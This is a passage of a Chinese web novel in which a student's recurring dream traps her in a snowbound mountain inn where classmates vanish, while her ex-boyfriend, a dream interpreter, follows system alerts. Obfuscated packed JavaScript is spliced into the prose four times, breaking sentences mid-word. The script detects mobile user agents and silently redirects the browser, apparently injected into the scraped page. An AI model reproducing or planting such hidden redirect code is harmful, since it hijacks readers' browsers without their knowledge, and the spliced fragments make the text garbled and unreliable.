她的注意力都在小熊布偶身上。 手里的玩偶突然动起来，会害怕吗？ 当然不会，因为这是在做梦啊。 纪璇不仅不怕，还很迫切地问：“嘟嘟，你是什么意思，是不能说话吗？” 小熊还是摇了摇头。 纪璇回忆自己刚才说的话，她试着问：“你的意思是……不能出去？” 小熊点了点头，它伸出手掌，慢慢凑近纪璇，放在她的额头上，摸了摸。 ——不怕不怕，要乖啊。 小熊布偶没有说话，可它的意思，纪璇懂。 她看着嘟嘟，眼泪一下子流了出来。 因为这是小时候，她经常用来安慰小熊布偶的动作。 ——天黑了，妈妈还没有回家，嘟嘟不怕不怕，要乖啊。 ——啊，不小心把妈妈的护肤品打碎了，嘟嘟不怕不怕，要乖啊。 同时也是妈妈安慰她的动作。 ——爸爸不会回来了，宝宝不怕不怕，要乖啊。 ——妈妈会保护你的，宝宝不怕不怕，要乖啊。 纪璇用手背抹了两把眼泪，她用力地搂住小熊，喃喃道：“我不怕，没什么可怕的，我很乖，我会一直好好的。” 小熊布偶用它那完全分不出手指的厚厚手掌，一下接一下的拍着纪璇的肩膀。 在这个未来不断会有人死亡或消失的暴风雪山庄里，一只诡异的，会动的童年玩偶带给纪璇莫大的温暖，如果梦里什么都可能发生，那为什么不会有她所期许的温暖，为什么要一直用噩梦折磨着她？ “我想妈妈了。”她小声对嘟嘟说，“我想吃她做的水煮大白菜面条，不削皮的冬瓜汤，煎糊的带鱼，还有放大蒜的西红柿炒鸡蛋……” 小熊玩偶静静地听着，那双玻璃珠做的眼睛莫名闪了闪，用红线缝出的嘴似乎咧了一下。 仿佛在笑。 来带队的老师当然不止韩隽峰，还有一名负责照顾女学生的音乐老师袁笛和高二年级组长刘义达，蓝佩洁走失后另外两位老师也很着急，但是暴风雪天气导致基站失灵，电话打不通，消息传递不出去，也无法报警，他们只能保护好剩下的小羊羔们，然后不断催旅店老板加强安保。 这就有点可笑了，这么个破旅馆，晚上仅仅拿着一把大锁头往门上一挂，连个监控都没有，有什么安保可言？ 而且除了这一次参加游学的十多名学生，只有零星四个散客，其中一对情侣，一名背包客，再加上周辰。 旅店的人员结构也十分简单，一名浓妆艳抹的前台小姐，一名负责打扫卫生的中年大妈，中年厨师和他的助手，一个每天喝得醉醺醺的旅店老板和一出现就丧着脸的老板娘。 “说了没看见就是没看见，烦不烦啊你们，有能耐等雪停了找警察呗，跟我们较什么劲？”前台小姐斜挑着眉眼，口气不太好地道，“我告诉你们啊，崮岂山就我们这一家旅店，你看警察是相信我们还是你们，哼，想碰瓷，没门！” 刘义达怒目：“孩子是在你们这个地方丢的，你们怎么能置身事外，叫你们负责人出来！” 前台小姐弹着红色的指甲，讥笑道：“你们自己丢了学生，跟我们有什么关系？哈，也不知道你们学校怎么回事，去年丢一个，今天还接着丢，这么邪门我看也别找警察了，赶紧请大仙儿吧！” 刘义达血压骤然升高，他指着前台小姐的手指微微发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379964|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤，对身边的袁笛和韩隽峰道：“你们看看他们是什么态度，啊，什么态度！简直欺人太甚！” 袁笛大约三十多岁，长发披肩，温婉恬静，一言一行都带着名门淑女的气质，一看就知道指望不了她的战斗力，跟韩隽峰站在一起，绝对是喷子场上的花架子，吵架时的人形立牌，刘义达是气懵了才会想拉他们帮忙。 袁笛温声劝道：“刘老师别着急，外面的风雪一时半会停不了，我们先跟旅店协调，把学生都调到一个楼层，方便管理才好。” 虽然袁笛不擅长吵架，但女人在这种关键时刻，却格外能保持清醒和理智。 “对，把我们的学生都调到三楼！”刘义达一拍前台桌子，“不然再有学生出事，等雪停了，看警察来了你们怎么办！” 前台小姐撇撇嘴，把三楼的钥匙排开，让他们自己分配好房间后，学生自己拿原来的钥匙来更换房间。 于是晚饭后的会议基本围绕着房间分配展开，学生们搬完行李之后，只见刘义达拖出一个箱子来，当着众人的面打开。 看见里面整箱的物品，学生们一下子喷了出来。 “老师！你出来游学怎么还带着卷子啊！” 刘义达得意的一笑：“本来是给你们返程的时候收心用的，没带太多，你们两人一份，答案都写在纸上，然后再跟其他同学交换卷子，每天都要给我交两页答题纸，听清楚了没有？” 顿时一片哀嚎声。 纪璇也收到了自己的卷子，她怀里还抱着嘟嘟，所有人都对她怀里突然出现的小熊布偶视而不见，一点都没察觉出不对。 纪璇满意地露出微笑，这果然是她的梦，无聊到想做卷子，刘义达就拿出了卷子，终于有事做了。 回到房间，她刚拿出卷子，铺开草稿纸，正准备计算，耳边就又响起了钢琴声——《梅菲斯特圆舞曲》。 “真吵。”她把嘟嘟塞进怀里，拿出在广场舞舞曲轰炸下也能完成黄X真题的架势。 动笔刚写下一个公式，又传来敲门声。 纪璇：“……”我有点生气了。 打开门，是一张令人意外的脸，纪璇回忆了片刻，愣是没想起眼前的人是谁。 长相明艳骄矜的女生双手抱臂，她冷冷地打量纪璇，不客气地道：“怎么，不敢让我进去，难道屋里藏人了？” 纪璇挡在门口问：“找我什么事？” “让我进去看看！”女生不由分说地推开纪璇，径自往房间里走去，她环视一圈，确定屋子里没有别人，才松了一口气。 纪璇冷冷道：“出去。” 女生慢悠悠地走到纪璇面前，对她寒酸的打扮和怀里破旧的小熊布偶都嗤之以鼻，气势凌人地道：“离韩老师远一点，如果再让我发现你勾引他，叫你怎么死的都不知道！” 纪璇一下子想起来了，这女生就是之前文若曦和管莹莹谈话里提到的向柔，她隐约有点印象，在高二那年，向柔出了什么事来着？ 10. 消失的房客（五） 她摸着嘟嘟的头，故作苦恼地说：“这就麻烦了，今天中午吃完饭，韩老师叫住我，一定要教我弹一首钢琴曲。” “你说什么？贱人！”向柔的脸一瞬间气到变形，伸手想抓纪璇的衣领，纪璇闪身躲开，向柔只抓到了她怀里的小熊，下一秒，向柔反而尖叫了出来，好像被针扎到一样。 纪璇低头检查小熊布偶：“嘟嘟，你没事吧？” 嘟嘟向她摆摆手。 向柔如临大敌，她盯着纪璇：“凭《梅菲斯特圆舞曲》的难度，可不是你这种杂鱼能弹下来的，不要妄想高攀，乖乖做你的冰山学霸就好了，别多管闲事，不然的话……”她眼中闪过一丝狠戾之色。 向柔一下子就猜到了是《梅菲斯特圆舞曲》，看来韩隽峰真的很喜欢这首钢琴曲。 纪璇似笑非笑地看着向柔：“这是我第二次听到冰山的说法，其实我并没有你们想象中的高冷，只是真的很忙，没有多余的时间精力放在社交上，所以刚见到你的时候，我甚至连你的名字都记不起来，不过么，韩老师倒是一个很有趣的人，或许在你看不到的地方，他会有另一副不一样的脸孔也说不定。” 向柔更气了，凶巴巴地说：“住口，你根本就不了解韩老师，不准你说他坏话！” 纪璇：“……”都有些可怜她了怎么办，示警都听不懂的吗？ 向柔怒气冲冲地走了，纪璇倚在门口，看着她的背影，直到她回了自己的房间。 纪璇知道她不敢去找韩隽峰，因为老师也一样要合住，袁笛跟一名女生一起，韩隽峰跟刘义达两个男老师在同一个房间，放眼整个高二年级,没人敢去触年级组长刘义达大魔王的霉头。 她关上房门，之前一直响的钢琴声不知道什么时候停了，她回到桌子前，好不容易安安静静地前做了几道题，就又听到走廊里传来乱糟糟的声音。 有人大声喊：“管莹莹！管莹莹不见了！” 文若曦疯狂地拍打312房门：“纪璇，我好害怕，你开门啊！” 天竟然亮了。 学生们都汇集在三楼的走廊里瑟瑟发抖，昏沉的灯光下，是一张张憔悴的面孔，不断有窃窃私语声和小声的啜泣，只有窗外的暴风雪如故。 刘义达的脸色明显不好，他质问文若曦：“那么大个活人，怎么会说不见就不见了？” 文若曦靠在袁笛的怀里，满脸都是泪痕，说道：“我不知道，我们连卫生间都是一起去的，洗漱的时候也在一起，可早晨起床的时候，我就发现她人不见了，床铺也是冷的，不知道出去了多久，对了……她没有穿外套，跟蓝佩洁一样，她连外套都没穿，一定还没出旅馆，莹莹一定还在这里！” “管莹莹还在这里？”有人大着胆子，用快哭出来的声音说道，“按照你这么说的话，就更可怕了啊……” 有人忍不住哽咽道：“我想回家！” 是啊，如果管莹莹没有出旅馆，那她会在旅馆的什么地方？ 这一次不管前台小姐如何阻拦，刘义达不容拒绝地拿走全部钥匙，带着所有人一间一间地排查旅馆房间，连一楼的接待大厅、食堂和厨房，以及地下室员工宿舍和储物间都没有放过。 一大早被吵起来的情侣事不关己地打着哈欠，被困在旅店的背包客倒是很热心，还提供了一个重要线索。 “你们晚上有没有听到奇怪的声音？这外面的暴风雪啊，像是有人在哭一样。听说崮岂山有一个传说，最好不要夜里留宿山上的旅店，我来崮岂山之前做过功课，前辈们建议我一定要在早晨出发登山，尽量在日落前回到山脚下的城镇，中途不要停留，可惜我半路扭伤了脚，这才不得不住进崮岂山旅馆。” 刘义达有一种不详的预感：“什么声音？什么传说？” 背包客咂了咂嘴，点了根烟抽上：“就是跟这家旅店有关喽，你们也看见这家旅店的情况了，这都什么年代了，连个电梯都没有，装修也保持上个世纪的风格，不觉得很奇怪吗？说起来啊，崮岂山的开发时间并不长，90年代初，为了打造旅游胜地，在当地政府的支援下开辟了山道，用以招揽游客，有了游客，自然要多多创收，于是规划建造旅馆。可这旅店建的不太平，据说每到晚上，就算有守夜的人，建筑也会莫名其妙的缩水，于是工期从春天拖到了冬天，本来准备停工的，北方冬季不施工嘛，可谁想到突然来了一场暴风雪，施工棚里一下子冻死了好多人，直到第二天开春，才在好几个施工队不分昼夜的建造下完工。从此后每年的暴风雪，山上都会有人失踪，乡民们说是因为在山上动土惹怒了山神，也有人说……”背包客停顿了下，他看着窗外暴风雪，叼着烟的嘴微微动了动。 “这里不干净。” 纪璇没有跟着大部队一起行动。 比起明目张胆跳出一个怪兽的迷宫，暴风雪山庄模式太过压抑，她想尽早脱离，与其寻找同学失踪的原因，还不如找梦境的出口逃出去，早点结束这个梦，今晚还能多休息一会。 毕竟明天上完课，还要去实验室接手姚妩学姐剩下的工作。 在刘义达他们进了背包客房间后，她抱着嘟嘟去了一楼，在大厅的楼梯口碰到了周辰。 他看到纪璇手里的小熊布偶，瞳孔蓦地一缩。 但他很快恢复如常，看着她低声道：“听说又有人失踪了，你一个人行动很危险，如果需要帮忙，可以叫我。” 基于对脱离梦境的渴望，纪璇看见周辰后也没那么烦躁了……算了，好歹也算个工具人么不是？ 纪璇走过他身边，留下一句：“跟我来。” 周辰跟在她后面，那双看上去材质很厚重的靴子踏在大理石地面上，却没有发出任何声音。 他像是某种矫捷的大型猛兽，时刻保持捕猎状态，连呼吸都很轻。 并不刻意，而像是一种习惯。 纪璇忍着不去回头看他，对她来说，这是自分手后开始的连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379965|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续梦境以来，她第一次允许他靠近自己，同时也让她想起今夜在实验楼下，他身上矛盾的气息以及俊美冷峭的眉眼，现实与梦境的形象对立又交融，折磨着感官的同时，也带来一种异样的刺激。 周辰知道吗？他在她的梦里，竟然是这个样子……像是剥开了精心包裹的糖衣，露出了里面暗藏玄机的酒心糖果，不仅甜辣醉人，还可能藏着封喉剧毒。 不该遇见这个人的，现在就是后悔，非常后悔。 纪璇唤他：“周辰。” “嗯？” “这一次，我不会让你死的。” 就算周辰真的是傻白甜，也没办法忽略时时响起的系统警报，于是他不抱任何希望地问：“你的意思是会保护我？” “当然不是，是因为你死了也没什么用吧，”她嘴里说着冷酷的话，伸手去按通往地下一层走廊的开关，“我们做两个假设，第一个假设，我现在的梦是被操控的，所以我才总会梦到你，那么我需要找到的是那个操控我梦境的关键，才能从根本上解决问题；第二个假设，因为对你的执念，我才总梦到你，那么至少目前在我的梦里，你是不会消失的，对吗？” 周辰呼吸一顿，他还是低估纪璇了，她太敏锐，且理性得可怕。 周辰：“如果是第二个假设的话，你准备怎么做？” 纪璇也不避讳他，反正是梦里的人而已。 她认真在考虑，“去看看心理医生吧，或者交个新的男朋友。” 周辰：“……”得了，不如不问。 两人顺着楼梯往下走，浑浊的气味渐渐浓烈起来，即便在暴风雪的天气，地下一层依然很干燥，有暖气的屋子潮湿不起来，只有一种闷得密不透风的热。 纪璇穿着毛衣，脸颊渐渐被热气熏红，周辰却只穿了件长袖T恤，年轻男人不知道什么叫冷，怎么方便行动怎么来，他拦住纪璇，自己走在了前面。 他低声询问：“昨天我听到你们在谈论钢琴曲，跟失踪案有关吗？” “没太注意，怎么，你觉得我要开始推理破案吗？这又不是推理悬疑剧，也不是阿加莎的小说，只不过是……”她露出微笑，想知道周辰知道自己只是一个梦中人会怎样，“这只不过是我的一个梦而已，无论他们怎么失踪都无所谓，反正都不是真实的人，我为什么要在乎失踪案？” 周辰反问：“如果不在乎的话，你为什么会做这样的梦呢？” 纪璇突然停下脚步，一时说不出话来。 对于已经上大三的纪璇来说，高二时候的事已经有点远了，甚至很多事都模糊起来。周辰这么一提，她也有些好奇，为什么会在这样一个危险的梦境里，重新遇到她的高中同学呢？ 周辰也停了下来，他转过身，楼梯台阶的差距让两人得以平视，他看出纪璇眼中隐含的迷茫才意识到，原来她也并不总是清醒的……偶尔迷糊的样子，让她更像一个普通女生。 也有些可爱。 11. 消失的房客（六） 在周辰眼里，她总是用冷无缺的样子包裹着真实的自己，这种性格绝非一日之寒，纪璇的意识如果是冰山的话，那么他现在看到的也只是冰山一角，还有巨大的山体藏在冰冷的海面下，就像她所展现出来的冷酷梦境，杀戮、死亡、封闭、孤独……她本能地拒绝别人的靠近，似乎在恐惧着什么。 不仅仅是那个梦魇。 他继续说道：“梦里的人都不是真实的……真的是这样吗？至少此时此刻，我们就在你身边，在这个梦的世界里，我们就是真实的。” 周辰握住她的手，就像在实验楼前那样，放在自己的胸口上。 “有什么分别吗？” 他问她的时候，隔着薄薄布料的胸膛微微震动，陌生的电流自掌心流窜，一时之间，她只能听到他的心跳。 像那夜晚。 没有，没有分别。 梦里的同学仍然是同学，梦里的老师仍然是老师，梦里的周辰也依然是周辰。 无法视而不见，无法无动于衷。 纪璇故作镇定地收回手，她眼睛看向别处，来掩饰那一点不自在。 “既然要找真相，还废什么话，赶快去地下一层吧，看看有什么线索，然后再去跟老师汇合。”她皱起小巧的鼻尖哼了一声，“不过是梦里的工具人罢了。” 周辰转身失笑。 他并不介意被当成工具人，最起码已经具备“被使用”的功能了，比起之前一个逃一个追，算是里程碑式的进步。 两个人小心地往地下一层走去，里面的空间几乎跟一层差不多大，与楼梯衔接的大厅摆放着几个柜子和一张沙发，里面的走廊两边各有五间屋子作为员工宿舍，楼梯拐角处则是储物间，门口乱七八糟地放着拖把之类的清洁工具。 纪璇紧紧盯着走廊的尽头。 那里只是一堵墙壁，可她莫名觉得那里有些古怪。 她屏住呼吸，向着走廊尽头走去，周辰紧跟在她身后，两人十分默契，都没有开口。 短短的一段走廊，随着她的深入，两边的门似乎都在扭曲变形，她像是走在一条通向不知名未来的小径上，去开启一扇藏着秘密所在的门。 纪璇伸出手，就在她即将碰触到那堵墙的时候，听见身后传来尖利的声音。 “谁允许你们进来的！” 纪璇猛地回头。 旅店老板娘站在昏黄的廊灯下，披散着头发，原本麻木僵硬的脸上布满了怒意，仿佛下一秒她就会化身猛兽扑上来。 纪璇走到周辰身前，对老板娘说：“我朋友身体不舒服，想问问你们有没有感冒药。” 老板娘眼睛里布满血丝，像是熬足了一个星期的夜，她声音沙哑：“这位同学，说谎可不好，找药难道不该问前台吗？来员工宿舍做什么？” 纪璇无辜地摊手：“前台不在啊，我就是下来找她的，不过我发现你们这堵墙好像有一道裂缝，于是过来看看要不要紧，这大风雪的天，旅馆可别塌了啊。” 老板娘脸部扭曲，咬牙切齿地道：“这个不要脸的东西，这么迫不及待的勾搭男人，当我死了啊！看老娘不恁死你！还有，你们赶紧离开！别让我再看到你们两个在这里！”她通红的眼睛里满怀着恶毒的怨怼，顾不上处置眼前的两个人，转身骂骂咧咧地走了。 纪璇低声跟周辰说：“我碰到了警戒线，这是警告。” 不是老板娘的，而是梦境的。 周辰看着老板娘的背影若有所思，回道：“现在不是行动的时机，先上去跟大家汇合，看看他们找到什么线索。” 纪璇没意见，继续走在前面。 她似乎已经忘了，当老板娘出现的那一瞬间，她居然挡在了周辰身前。 心跳，胸膛的温度，有血有肉的人，周辰再怎么强大，终究只有人类的极限，连她这个梦境的主人也难逃梦魇的追杀，何况是他？ 而且她啊……就算是在梦境，也无法漠视有人死在自己眼前。 “这一次，我不会让你死的。” 纪璇没说过多余的话，她身体力行。 周辰走在后面，深邃的目光一直注视着她的背影。 他注意到纪璇刚刚的行为，这让他有些诧异，长久以来，一直都是他冲在前面保护别人，这是基于对自身强大的信心和严苛训练下的职业习惯，也是因为在纪璇没有真正觉醒意识之前，整个梦境对她来说都是危险的，问题在于她本人并不知道，所以认为自己能保护他。 这对他来说，其实有点麻烦，可他没有埋怨纪璇的意思。 在达到100%同步率后，他在梦境里会更加敏锐，尤其是对纪璇的观察，系统在他的视角范围内放大了纪璇的行为举止，就像是梦境中最浓墨重彩的一笔，她是梦境的主角，也是他的。 所以他知道，那一句承诺是她心底里最宝贵的纯善，无论如何不能辜负。 至于她对他的杀意，周辰从来没放在心里过。 在两人曾经交往过的生活层面梦境里，纪璇对他并无杀意，只有在这一层梦境里，经过他锲而不舍地追逐的纪璇才会想要消灭他，这种杀意不是真正的意义上的死亡，让他消失的意味更多一些。 纪璇并不是杀人狂，她只是在害怕。 从这个角度来看，混蛋的一直都是他，错的也是他。 “我会救你出来的。” 周辰在心中默默地说，没有多余的话，他会身体力行。 只不过，这一次他不会再当什么男朋友，这坑他不会再跳了，成为朋友、战友和伙伴，一样可以让她重新信任他。 纪璇和周辰回到一层的时候，发现刘义达正带着学生们，一脸惨白地坐在一楼食堂里。 发现纪璇回来，刘义达急忙招呼她过来，严厉地说：“纪同学，不要仗着现在是白天就擅自行动，要跟老师和同学们在一起，不准与陌生人来往，知道吗？”他看向纪璇身后的周辰，“纪同学是我校学生，请这位先生自重。” 刘义达像护崽儿的老母鸡一样，把纪璇往自己身后一带，气势汹汹地面对着周辰。 周辰十分客气地说：“关于最近的失踪事件，我作为房客也十分担心，想为同学们出一份力，刘老师不必怀疑我。”他从口袋里掏出一本红色的证件，在刘义达眼前晃了一下，然后立刻收好。 刘义达的态度立刻变了： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379966|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太好了，有你在我就放心多了，那就拜托你跟我们一起保护这群孩子了。” 纪璇：“……”他到底拿出了什么？ 饭厅的灯光几乎全都打开了，然而在明晃晃的灯光下，没有人觉得自己是安全的。 “大家不要慌，不过是一个传说，”袁笛柔柔的嗓音在空旷的大厅里越发显得空灵，“今晚我们四个人一个房间，以两人为一组轮流在房间里值夜，老师们就睡在走廊，一定不会让你们出事的。” 袁老师的安排很合理，但学生们已经被吓破了胆子，一个个簌簌发抖，分头团在一起，像极了受惊的小仓鼠。 “袁老师，我睡不着，要不然，大家晚上都在一起，就在食堂里开着灯做卷子好不好？” “我觉得可行，分头行动一定会出事，好多恐怖小说都这么写，还不如下定决心，咱们晚上不睡觉，改白天睡不好吗？我不想作死，我还想活着回家啊！” “回房间会莫名其妙出事，我选择跟大家一起在这里做卷子。” “对！大家都在一起，我就不信还有人会失踪。” “不知道你们玩过狼人杀之类的游戏没有，说句得罪人的话，我好怕我们中间会出现叛徒，还是大家都在一起安全一点。” …… 学生们纷纷表达意见，总结成一句，就是不想跟大家分开。 纪璇从文若曦那里听说他们在背包客那里的见闻后，表情一直很微妙。 周辰坐在纪璇旁边，他当然也听到了这个有着恐怖色彩的传说。 他并没有做出交头接耳的动作，只是用手掩盖住了唇形，轻声问她：“你有什么看法？” 纪璇绷不住了，她扶额：“我是坚定的唯物主义者，居然会在梦里出现这种事？我一定是在实验室的时间还不够，物理卷子在哪，我要感受下科学的召唤……” 周辰回忆了一下还真是，纪璇的梦里出现过史前猛兽、杀手、怪物等等，唯独没出现过鬼怪。 也幸好没出现过，他不信这些，也没储备这方面的知识。 比起物理卷子，他觉得纪璇更需要巩固一下社会主义核心价值观。 接下来两人再没有说话，如果在大家面前表现得过于熟稔会引起注目，带来不必要的麻烦。纪璇一边翻动卷子，一边用余光观察所有人，唯独在看到某个人的时候微微停滞了一下，然后又垂下眼帘，拿出了草稿纸。 向柔坐在韩隽峰身边，她根本没去听大家都讲了什么，一门心思地向韩隽峰的方向靠过去，眼神痴迷地看着他的手指。 好可惜，这家旅店太差劲了，居然没有钢琴。 整个旅店的危机她都没看在眼里，身边的人一个个消失，向柔反而认为这是天赐良机。在这座偏僻的山沟沟里，她和暗恋的人都身处孤岛般的旅馆里，无论发生什么，他们都会一起渡过难关，她相信自己遇到危险的话，他一定会来拯救她，因为他是那么温柔善良，换成是她也一样……最后韩老师会明白她的心意，等她高中毕业后，他们就能光明正大地在一起。 只有不到两年而已——她甜蜜地想。 “韩老师，你害怕吗？”向柔问道。 12. 消失的房客（七） 韩隽峰仰起头，指节在桌面上敲了两下，“害怕吗？也许有一点。向柔同学，你觉不觉得，外面的暴风雪就像是地狱，而这座旅馆就是地狱的入口，它用少女祭祀，召唤出梅菲斯特，诱出人心底的恐惧和恶，然后将这一切都作为战利品，带进它的国度。” 这解读真的是又黑暗又吸引人，韩老师好厉害！ 向柔用崇拜的目光看着韩隽峰：“地狱是什么样子，根本没有人知道，但我觉得，能继续跟韩老师一起学琴，就算在地狱也如天堂一般。” 韩隽峰微笑，他看向柔的目光很温柔，但经不起推敲，因为那目光背后，好像在看一只正在讨他欢心的宠物。 “向柔同学，你听到外面的钢琴声了吗？” 向柔疑惑地说：“没有啊，老师别开玩笑了，外面怎么可能有钢琴声，我一听就知道那个背包客大叔在胡说，他只是想吓唬我们这些女生而已，我昨天还看见他跟咱们团里的女生搭讪呢，但是谁要搭理他啊，脏兮兮的。”她俏皮地眨了下眼睛。 韩隽峰点头：“看来这个缓解气氛的笑话不好笑，老师失败了。你说得对，外面怎么可能有钢琴声呢，这么大的风雪，什么都不剩了。” 也许是韩隽峰太过温和，向柔鼓起勇气问：“昨天老师为什么找纪璇啊？是问关于蓝佩洁的事吗？我听说她们俩之间的关系并不好呢。” 韩隽峰看了一眼纪璇，轻声说：“是吗？那真的不该把她们两个人分到一个房间，我只是听说纪同学也学过钢琴，问问她的进度，没想到她也听过《梅菲斯特圆舞曲》，让我很惊喜。” 向柔咬着嘴唇，原本放松的双手握成了拳头。 周辰低头玩着手机，对纪璇道：“你们学校的这位老师，很有意思啊。” “何以见得？” “教唆和引诱，虚无和破坏，当他演奏《梅菲斯特圆舞曲》的时候，应该就是那个活灵活现的恶魔了吧？”周辰嘴上说着话，并不影响指尖上的操作，手机屏幕上的角色刚完成了一次完美的刺杀，他退出了界面，漫不经心地道，“如果梅菲斯特出现了，那么，谁是浮士德呢？” 在通常情况下，在暴风雪山庄模式下出现的诡异事件，都会引发推理思考或是引入灵异概念，前者将是一部本格推理流派的著作，而后者会是抓住人类恐惧心理的惊悚小说。 周辰敢肯定纪璇肯定看过类似的书，所以这个梦的元素才会如此杂乱。 同时他也可以确定，在纪璇高二那年，一定有什么事情发生，不一定在浅层留下记忆，但一定被她的潜意识记录了下来。 纪璇单手支颐，她面向周辰说：“这就是我不喜欢跟人接触的原因，你永远不知道对方皮囊下的灵魂是什么颜色的，你觉得韩老师看上去不像什么好人对吧？可是你，周辰，你也不一定是好人呢。” 没有任何辩解的空间，别有目的接近纪璇的他，确实更不像好人。 纪璇说完这句话的同时，周辰耳边又出现了熟悉的系统警报声。 【警报！危险系数增加，SH053观察体处于情绪波动，对解梦者信任度下降！】 真是个每时每刻都想干掉他的好姑娘啊，周辰心里赞叹道，你说他怎么就这么擅长踩雷？ “可能这么说不太恰当，但是为了表达我的歉意以及诚意，我告诉你一个秘密怎么样？”周辰长腿一伸，侧过身体，微微靠向纪璇，与她之间的距离保持在耳语的最大传播范围，教科书一般的间距，不会入侵他人的安全场，更不会唐突女性，他低声问，“想听吗？机会只有这一次。” 纪璇聊胜于无地点点头。 托社会信息发达的福，网络上充斥着各种各样的“秘密”，你能想象得到或想象不到的，只要有心去找，总能满足猎奇欲。 个人的秘密已经没有那么高的价值，震撼程度也不如往昔，而且她好歹活了20年，普通人的秘密也很难超出意料，连做出惊讶的表情大概都需要费一番力气。 真的没什么意思—— 周辰嘴唇微动，说了一句话。 纪璇一瞬间瞪大了眼睛。 “东经35.5876，北纬44.9231，穿过一片金色的郁金香花田，黑色的礁石下埋着我的秘密，那里藏着一个人的尸体、一箱暗索金，还有一瓶TIKVES的好酒，如果你有机会找到的话，一定要好好品尝。” 迎面仿佛吹来轻柔的海风，淡淡的腥气，甚至有那么一点点甜。 温润潮湿，典型的地中海气候，不仅能滋养土地，也适合孕育璀璨的文明。 形如王冠的郁金香成片生长，花枝摇曳，人穿梭在花丛中，就像是踏在金色的波浪之上，向着蓝色的大海奔跑，目力所及，海天一线。 在卷岸的洁白泡沫中，一座黑色礁石若隐若现，在无人知晓的地方，有一处小小的洞穴。 一具干枯的尸体，怀里抱着一箱足以移平半座城市的高能军用炸药，在它的右手边，立着一瓶年份久远的葡萄酒，它的左手被摆放到嘴边，带着黑色幽默般的意味，做了一个噤声的手势。 嘘，这是一个秘密。 学生们说要一起在食堂值夜，但其实过了一会，紧张的气氛慢慢消退之后，有人又蠢蠢欲动起来。 “我想去洗手间。” “现在是什么时候了啊，哇，才下午四点，应该是安全的吧？一会旅馆还得送饭过来呢，要不要出去透透气？” “现在做好准备，晚上再凑到一起吧，唉，我的面膜快用完了，好烦啊……” “我忘带替换笔芯了，谁陪我出去一趟，我回房间取。” “我好像也有忘带的东西。” 大家七嘴八舌的，各有各的事情，呼啦啦走了一大半。 刘义达也没办法，现在还没到晚上，也不能一直把学生都圈在食堂，他只能叫上袁笛一起，带想回房间的学生们去三楼，并且给学生分好组，轮流在三楼走廊巡视，务必不让任何一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379967|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个学生出现单独一人的局面。 纪璇合上笔帽，做完卷子上最后一道大题，对周辰说：“我也想回房间一趟，蓝佩洁留下的大衣还没检查过。” 周辰颔首：“我陪你一起？” “那就有劳了。” 韩隽峰负责守着食堂里的学生，看到纪璇有人陪着也没多说，既然是刘义达都信任的人，他也没必要为难，叮嘱两句就放行了。 两人上了楼梯间，刚走到二楼的时候，就听到里面的走廊里传来一阵暧昧的声音。 喘息激烈，啧啧作响。 纪璇一时间没反应过来，愣在那里，随后脸“腾”地红了起来，跟前男友一起遇到这种事，简直不能更尴尬了！ 周辰的反应也好不到哪儿去，他回过头，示意纪璇不要出声。 两人放低了脚步声，本想当做什么都没发生，悄悄地上楼，就听见声音停了下来，有男声低喘着问：“真的只是给她一个教训吗？” 又有女声说：“就算我有害人的胆子，你有吗？” 纪璇停下脚步，她和周辰都听出了那女声是向柔。 男声明显还有犹疑：“都是同学，何必呢？难道你还是为了跟人争韩老师？” 向柔有些不耐烦地说：“你怎么磨磨唧唧的，你要的我都给你了，还想怎么样？”停顿了下，她声音又带着些撒娇意味，“许文洋，你到底喜不喜欢我？这跟韩老师没关系，纯粹是我看不惯她这个人，好不好嘛？” 纪璇记得，之前文若曦曾经提到过，八班的体委正在追求向柔，他的名字有90%的概率叫许文洋。 很少有人能拒绝喜欢的女孩撒娇，许文洋似乎做了决断：“那你再给我亲一会儿。” 纪璇和周辰快步离开，一直上了三楼，她带着周辰进了312房间，立刻将房门反锁上。 刚才的尴尬已经消退，纪璇没注意到自己跟周辰处于孤男寡女的状态，或者注意到了也不怎么在意。 